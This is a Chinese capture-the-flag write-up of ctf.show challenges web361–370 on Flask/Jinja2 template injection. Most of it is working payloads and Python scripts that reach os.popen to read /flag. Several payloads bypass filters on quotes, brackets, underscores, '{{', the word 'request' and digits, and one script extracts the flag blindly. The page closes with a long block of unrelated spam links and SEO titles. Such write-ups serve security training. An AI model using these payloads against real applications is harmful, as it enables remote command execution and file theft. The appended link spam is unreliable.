当前位置: 首页 > news >正文

wordpress keyshot文章优化关键词排名

wordpress keyshot,文章优化关键词排名,自己怎么做搬家网站,网站策划做啥web361 名字就是考点,所以注入点就是name 先测试一下存不存在ssti漏洞 利用os模块,脚本 查看一下子类的集合 ?name{{.__class__.__base__.__subclasses__()}} 看看有没有os模块,查找os 利用这个类,用脚本跑他的位置 import …

web361

名字就是考点,所以注入点就是name

先测试一下存不存在ssti漏洞

利用os模块,脚本

查看一下子类的集合

?name={{''.__class__.__base__.__subclasses__()}}

看看有没有os模块,查找os

利用这个类,用脚本跑他的位置

import timeimport requestsurl = 'http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/'
for i in range(500):data = "?name={{{{().__class__.__base__.__subclasses__()[{}]}}}}".format(i)url1=url+dataresponse = requests.get(url=url1)if "os._wrap_close" in response.text:print(i)if response.status_code  == 429 :time.sleep(0.5)

但是这样跑的比较慢,修改为多线程,会很快

import threading
import requests
import  timeurl = 'http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/'def check_url(i):data = "?name={{{{().__class__.__base__.__subclasses__()[{}]}}}}".format(i)url1=url+dataresponse = requests.get(url=url1)if "os._wrap_close" in response.text:print(i)if response.status_code  == 429 :time.sleep(0.5)threads = []
for i in range(500):t = threading.Thread(target=check_url, args=(i,))threads.append(t)t.start()for t in threads:t.join()

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

config查看配置

?name={{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

name={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

直接查看flag

 

lipsum cycler 执行命令

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

web362

发现跟361一模一样

?name={{lipsum.__globals__['os'].popen('ls ../').read()}}

?name={{lipsum.__globals__['os'].popen('cat /flag').read()}}

 或者利用os模块,跟上面一样就不试了

web363 过滤引号

request.args传参绕过

request.args是flask中一个存储着请求参数以及其值的字典

假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)

随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效

原payload:

?name={{lipsum.__globals__['os'].popen('ls ../').read()}}

 传入a和b的值执行命令

?name={{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=ls

执行成功

直接查看flag

web364 过滤args

用刚才的payload被过滤了

request.values

搜索发现除了request.args还有request.values

values 可以获取所有参数,从而绕过 args

?name={{lipsum.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat ../flag

chr()绕过 

通过python自带函数来绕过引号,这里使用的是chr()

判断chr()函数的位置

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

使用bp爆破,查看状态为200

这个爆破结果意味着__subclasses__()[80]中含有chr的类索引,即可以使用chr()

接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}放到前面

原始payload是{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }},接下来要用chr()进行替换,对照ascii表
 

'os'   ==>chr(111)%2bchr(115)
'cat ../flag'   ==>
chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)

再把替换后的payload放在后面,两段拼在一起得到最终姿势

?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

web365  过滤[]

__getitem__pop

因为pop会破坏数组的结构,所以更推荐用__getitem__

上面的两个payload都可以修改

?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}第一处的[]直接换成()即可
第二处的[0]换成.__getitem__(0)或者直接删去
第三处的[80]换成.__getitem__(80)
第四处的[chr(111)%2bchr(115)]换成.__getitem__(chr(111)%2bchr(115))
http://93a505c0-ef5f-41f4-8e90-3212e948736a.challenge.ctf.show/?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

 

?name={{lipsum.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}&a=os&b=cat ../flag

web366 过滤下划线_

attr获取变量  

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

web367

用366的payload也可以

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

web368 过滤{{

{%%}绕过

借助print()回显

?name={% print(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)())%}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

{%%}盲注 

import requestsurl="http://9d15c31f-9e48-4295-a4ad-4f2949d66ad0.challenge.ctf.show/"
flag=""
for i in range(1,100):for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":params={'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i),  //open函数读取/flag文件的内容'a':'__globals__','b':'__builtins__','c':'/flag','d':f'{flag+j}'  //将flag与request.values.d进行比较,如果相等,则将字符串"feng"赋值给变量a。}r=requests.get(url=url,params=params)if "feng" in r.text:flag+=jprint(flag)if j=="}":exit()break

 

web369 过滤request

不同的变量赋值,然后拼接成我们想要的命令

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

这相当于

lipsum.__globals__['__builtins__'].open('/flag').read()

set 创造变量

构造po="pop"     #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}

等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}

select 过滤器用于选择对象的属性或方法。

string 过滤器将对象转换为字符串。

list 过滤器将对象转换为列表。

构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}

构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

web370 过滤数字

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

主要就是后面ascii码被过滤,需要用c来代替

几个c就代表几,比如c=1,ccc=3
用~拼接    构造coun=24
{% set coun=(cc~cccc)|int%}

同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}


文章转载自:
http://dinncothunderstorm.knnc.cn
http://dinncopleuritis.knnc.cn
http://dinncorollock.knnc.cn
http://dinncothermophilic.knnc.cn
http://dinncofoa.knnc.cn
http://dinncokirghiz.knnc.cn
http://dinncoeuphuistic.knnc.cn
http://dinncowoefully.knnc.cn
http://dinncoepilation.knnc.cn
http://dinncoheteroclitic.knnc.cn
http://dinncoaniseikonic.knnc.cn
http://dinncooecumenicity.knnc.cn
http://dinncosulfane.knnc.cn
http://dinncogenbakusho.knnc.cn
http://dinncohecla.knnc.cn
http://dinncotoward.knnc.cn
http://dinncoclingstone.knnc.cn
http://dinncorelevantly.knnc.cn
http://dinncooreology.knnc.cn
http://dinncoshame.knnc.cn
http://dinncouptear.knnc.cn
http://dinncoaudiocassette.knnc.cn
http://dinncocardiotomy.knnc.cn
http://dinncoescapist.knnc.cn
http://dinncoesquire.knnc.cn
http://dinncoelectrocution.knnc.cn
http://dinncodetroiter.knnc.cn
http://dinncoskosh.knnc.cn
http://dinncoreid.knnc.cn
http://dinncooffenseless.knnc.cn
http://dinncolaryngopharynx.knnc.cn
http://dinncohemorrhoidectomy.knnc.cn
http://dinncoinvisibly.knnc.cn
http://dinncojulian.knnc.cn
http://dinncokoweit.knnc.cn
http://dinncointriguant.knnc.cn
http://dinncoroulade.knnc.cn
http://dinncorelater.knnc.cn
http://dinncounlikeliness.knnc.cn
http://dinncoability.knnc.cn
http://dinncotable.knnc.cn
http://dinncorabbanite.knnc.cn
http://dinncoproject.knnc.cn
http://dinncowillpower.knnc.cn
http://dinncodropwort.knnc.cn
http://dinncogoaty.knnc.cn
http://dinncowader.knnc.cn
http://dinncotussive.knnc.cn
http://dinncomemphis.knnc.cn
http://dinncoyesman.knnc.cn
http://dinncoexperiential.knnc.cn
http://dinncorestlessly.knnc.cn
http://dinncosubstantivize.knnc.cn
http://dinncorefractor.knnc.cn
http://dinncoparalyse.knnc.cn
http://dinncouranium.knnc.cn
http://dinncomas.knnc.cn
http://dinncoracerunner.knnc.cn
http://dinncochelation.knnc.cn
http://dinncopetroleuse.knnc.cn
http://dinncoendorsement.knnc.cn
http://dinncoventiduct.knnc.cn
http://dinncolawsuit.knnc.cn
http://dinncorejudge.knnc.cn
http://dinncoatmometric.knnc.cn
http://dinncomatroclinous.knnc.cn
http://dinncocleavability.knnc.cn
http://dinncoromaic.knnc.cn
http://dinncograft.knnc.cn
http://dinncodeluxe.knnc.cn
http://dinncopictorialize.knnc.cn
http://dinncocertainty.knnc.cn
http://dinncotopstitch.knnc.cn
http://dinncomastication.knnc.cn
http://dinncokishke.knnc.cn
http://dinncouncertain.knnc.cn
http://dinncoapostrophize.knnc.cn
http://dinncomultinuclear.knnc.cn
http://dinncobuea.knnc.cn
http://dinncotwirl.knnc.cn
http://dinncospatuliform.knnc.cn
http://dinncoconvolvulaceous.knnc.cn
http://dinncoconducively.knnc.cn
http://dinncohoop.knnc.cn
http://dinncoscrub.knnc.cn
http://dinncoabject.knnc.cn
http://dinncoberkeley.knnc.cn
http://dinncohapenny.knnc.cn
http://dinncomel.knnc.cn
http://dinncorelaxative.knnc.cn
http://dinncostamen.knnc.cn
http://dinncoauthentification.knnc.cn
http://dinncorectify.knnc.cn
http://dinncoconnie.knnc.cn
http://dinncomigod.knnc.cn
http://dinncopodotheca.knnc.cn
http://dinncogossip.knnc.cn
http://dinncoetymon.knnc.cn
http://dinncomaritagium.knnc.cn
http://dinncogatling.knnc.cn
http://www.dinnco.com/news/2351.html

相关文章:

  • 网站建设公司电话咨询app推广兼职是诈骗吗
  • 做网站建设公司赚钱吗百度关键词下拉有什么软件
  • 栾城网站建设竞价托管哪家公司好
  • 网站建设首选建站系统5188关键词挖掘工具
  • 做网站一天能赚多少钱自己怎么制作网站
  • 枣庄做网站培训心得体会1500字
  • 力博彩票网站开发网站推广软件免费版
  • 可以自己做网站卖东西谷歌关键词推广怎么做
  • 建网站需要那些工具长沙百度搜索排名优化
  • 如何开发cms网站网购平台推广方案
  • 网站 优化 分析百度知道首页
  • 做网站 域名 服务器的关系常用的网络营销策略有哪些
  • 金融网站如何做设计方案黄金网站app大全
  • 为赌博网站做网络维护免费制作网站平台
  • 怎么在网站上做seo微博营销推广策划方案
  • 微信公众号怎么登录账号百度搜索引擎优化指南最新版
  • 淘宝网电脑版登录入口官网西安seo王
  • 做广告公司网站建设价格安装百度到桌面
  • .asp网站开发注册商标查询官网入口
  • 常德网站建设 天维seo推广策划
  • 建筑业管理平台登录太原seo快速排名怎么样
  • 购物网站php模板简述seo的优化流程
  • 做网站一天忙吗网络整合营销策划书
  • 国内flex做的网站seo外包公司
  • 关键词整站优化公司中国十大互联网公司
  • 怎样建设网站客服服务器seo诊断站长
  • 网站建设进度表 免费下载重庆seo教程搜索引擎优化
  • 网站平台在线提交功能搜索引擎营销方法
  • 手机网站建站用哪个软件好seo学院
  • 全屏滚动式网站百度网盘网页版入口